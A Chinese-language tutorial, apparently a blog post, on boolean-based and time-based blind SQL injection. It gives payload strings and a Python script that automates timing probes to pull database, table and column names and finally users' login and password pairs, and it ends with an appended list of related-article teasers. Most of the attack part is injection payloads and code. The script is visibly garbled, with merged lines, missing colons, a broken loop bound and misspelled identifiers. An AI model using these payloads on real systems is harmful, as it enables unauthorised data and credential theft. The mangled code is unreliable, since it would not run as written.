第三章 SQL盲注

1.Boolean-Base布尔型注入

布尔盲注

只返回布尔值的sql注入漏洞,通过构造语句,来判断数据库信息的正确性,再通过页面反回的布尔值,来判断正确与否。

布尔盲注方法

' or '1'='1     以及变体
#substr()函数,截取某个字符串,与后面的字符串或数字对比
k' and substr((select database()),1,1)='s'#left(),mid(),函数,截取前几个字符与期望值对比
k' and left((database()),1)='s'#regexp函数,用正则判断
k' and select user() regexp '^r'#like函数
k' and select user() like 'ro%'# 爆破库、表、字段长度
k' and select length(database())<xx#有些sql漏洞中,会屏蔽引号,因此更多采用将截取出来的字符串转为ascii码,再对比ascii码值#ascii和ord函数功能相同,大于、小于、等于配合二分法使用
a' and ascii(substr((select database()),1,1))=114
a' and ascii(substr((select database()),1,1))>114
a' and ascii(substr((select database()),1,1))<20ord(substr((select database()),1,1))=114

2.Blind Time-Based基于时间的盲注

时间盲注

若目标页面没有回显,甚至连注入语句是否执行都无从知晓,则通过注入特定语句,根据对页面请求的物理反馈,来判断是否注入成功。如:在SQL语句中使用sleep()函数看加载网页的时间来判断注入点。

注入方法

  • a' and sleep(2) --

  • a' and select ascii(substr( database(),1,1))=114 and sleep(2)

获取数据库长度a' and length(database())>10 and sleep(2) --
获取数据库名a' and substr(database(),1,1)='s' and sleep(2)或者a' and select ascii(substr(database(),1,1))=50 and sleep(2)
  • 如果源码屏蔽了一些函数,则用其他代换,如:

    substr————mid、left

    adcii—————ord

    database———DatabaSe

python自动化

import requests
import timeHEADER = {#填入Cookie"Cookie":"xxxxxx"}
LEFT_URL = 'http://xxxx'    #url的左半部分
RIGHT_URL = 'xxxx'    #url的右半部分#1.获取数据库名的长度
#例句:a' and length(database()) = 4 and sleep(2) -- &action=search
def get_database_name_length() -> int:length = 0for i in range(100)url = LEFT_URL + "and length(database())={} and sleep(2) --&".format(i) + RIGHT_URLstart_time = time.time()resp = requests.get(url,headers=HEADER)if time.time()-start_time > 1:print("数据库名的长度为{}" .format(i))length = ireturn length #2.获取数据库名
#例句:a' and ascii(substr(database(),{},1)) = {} and sleep(2) -- &action=search
def get_database_name(length):#ascii 33-127for i in range (length + 1):   #从数据库名的第一个字符开始for j in range(33,127):    #从ASCII码表中依次查询url = LEFT_URL + "and ascii(substr(database(),{},1)) = {} and sleep(2) --&".format(i,j) + RIGHT_URLstart_time = time.time()resp = requests.get(url,headers=HEADER)if time.time()-start_time > 1:print(chr(j))#3.获取库中表的个数
#例句:a' and (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(2) -- &action=search
def get_table_count() -> int:count = 0for i in range(100)url = LEFT_URL + "and (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(2) -- &".format(i) + RIGHT_URLstart_time = time.time()resp = requests.get(url,headers=HEADER)if time.time()-start_time > 1:print("库中表的个数为{}".format(i))count = ireturn count#4.获取表名的长度
#例句:a' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=4 and sleep(2) -- &action=search
def get_table_length_of_each_table(count)for i in range(count + i):    #第几个表for j in range(100):   #测试表的长度url = LEFT_URL + "and (select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={} and sleep(2) -- &".format(i,j) + RIGHT_URLstart_time = time.time()resp = requests.get(url,headers=HEADER)if time.time()-start_time > 1:print("第{}张表的长度为{}".format(i,j))#5.获取所有表名
#例句:a' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(2) -- &action=search#6.获取所需表users中字段个数
#例句:a' and (select count(column_name) from information_schema.columns where table_name='users')={} and sleep(2) -- &action=search#7.获取所需表中每个字段名的长度
#例句:a' and (select length(column_name) from information_schema.columns where table_name='users' limit {},1)={} and sleep(2) -- &action=search#8.获取所需表中每个字段名
#例句:a' and ascii(substr((select colunm_name from information_schema.columns where table_name='users' limit {},1),{},1)) = {} and sleep(2) -- &action=search#9.获取所需字段中的值
#例句:a' and ascii(substr((select concat(login,'@',password) from users limit {},1),{},1))={} and sleep(2) -- &action=search"if __name__ == '__main__':get_database_name(get_database_name_length())get_table_length_of_each_table(get_table_count())

SQL渗透与防御——(三)SQL盲注相关推荐

  1. 渗透测试——sql注入进阶/基于时间的盲注/一看就会/

    目录 一.注入点判断 注入类型 SQL注入的类型 二.基于时间的时间盲注 什么是时间盲注 sleep()函数 常用函数 三.bWAPP基于时间的盲注实战 一.注入点判断 1.输入一个单引号',因为语句 ...

  2. SQL注入进阶:掌握布尔盲注和延时注入攻击技巧

    数据来源 一.什么是盲注? 盲注是指一种利用应用程序漏洞进行的攻击技术,攻击者通过在输入参数中注入恶意代码或数据来探测.提取和修改应用程序的敏感数据.它通常用于测试 Web 应用程序的安全性,并且可能 ...

  3. 【SQL注入漏洞-04】布尔盲注靶场实战

    布尔盲注 当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注. 布尔盲注原理: 利用页面返回的布尔 ...

  4. SQL注入(SQL注入(SQLi)攻击)攻击-布尔盲注

    页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length('abc') ...

  5. 封神台SQL注入-基础靶场1-布尔盲注

    文章目录 布尔盲注(一) 布尔盲注(二) 布尔盲注(三) 布尔盲注(一) 1.判断注入类型 id=1 and 1=1//有数据 id=1 and 1=2//no results found 判断为数字 ...

  6. mysql dnslog_渗透技巧:使用dnslog加快盲注速度 · C1imber’s Blog

    sql盲注分为基于bool的盲注和基于时间的盲注,大家都知道,盲注是在页面没有显示位并且没有报错信息的时候,通过构造payload使页面返回的内容不同或者是页面响应的时间不同从而去判断出数据库中的数据 ...

  7. 墨者学院-SQL注入漏洞测试(布尔盲注)

    决心按部就班.由浅入深地去剖析下sql注入题目提供的靶场环境,完善自身解题思路.本题靶场环境比较简单.也比较常见,没有设置严格的过滤规则,仅仅是限制了页面的回显功能,属于比较初级的sql注入题目.废话 ...

  8. SQL渗透与防御——(二)SQL注入

    第二章 SQL注入 1.SQL注入基础 1. MySQL Base 2.SQL Injection 2.GET类型 3.POST类型 1.SQL注入基础 1. MySQL Base 系统库释意 Inf ...

  9. SQL注入漏洞测试(报错盲注)笔记

    这个是今天拿下的靶场,这是我作为小白学习的第二个靶场,做一下笔记 已知IP地址为:219.153.49.228,端口号为41280,访问了之后是下面的页面 看到这个页面之后,我进入了后台,查看之后知道 ...

最新文章

  1. Java 判断3位数
  2. 英语语法---从句总结
  3. Catlike Coding网站文章解析 -- 1.Procedural Grid
  4. 在生产中运行Java:SRE的观点
  5. 多路RTSP-RTMP转RTMP定制版
  6. poj - 1509 Glass Beads
  7. 整个社会总嫌自己不够“快”,为啥?
  8. java中servlet的请求范围_java – 如何设置servlet中并发请求数的限制?
  9. asp.net 母版页使用详解--转
  10. 2021年度最全“Java面试宝典+Java核心知识集”,一箭双雕杠春招
  11. linux 系统开启火狐命令_linux安装火狐命令
  12. 计算器(加减乘除,平方,取余)
  13. 创建OpenGL Context(WGL)
  14. C++ switch怎么用
  15. 解决 cv_bridge 与 opencv4 版本冲突问题
  16. 与亚马逊Amazon Device EDI进行测试都有哪些场景?
  17. CREATE DATABASE guestbook DEFAULT CHARSET utf8 COLLATE utf8_general_ci;
  18. 我在北大青鸟的工作经历
  19. 电脑蓝屏代码和解决方案
  20. Ethereum 入门

热门文章

  1. 计算机培训动员会发言稿6,期末动员会发言稿(精选6篇)
  2. Matlab技巧总结——22-MathorCup
  3. linux下安装工具——yum
  4. 大数据周会-本周学习内容总结012
  5. lvgl库切换使用默认字体
  6. zxing 生成二维码 带logo
  7. Linux 操作系统原理 — 用户进程、用户线程、内核线程、轻量级进程、协程的区别与联系
  8. Linux核心安装(转)
  9. access连接mysql失败_Access数据库连接错误解决办法
  10. 使用计算机粘贴板的步骤,如何打开剪贴板,详细教您电脑如何打开剪贴板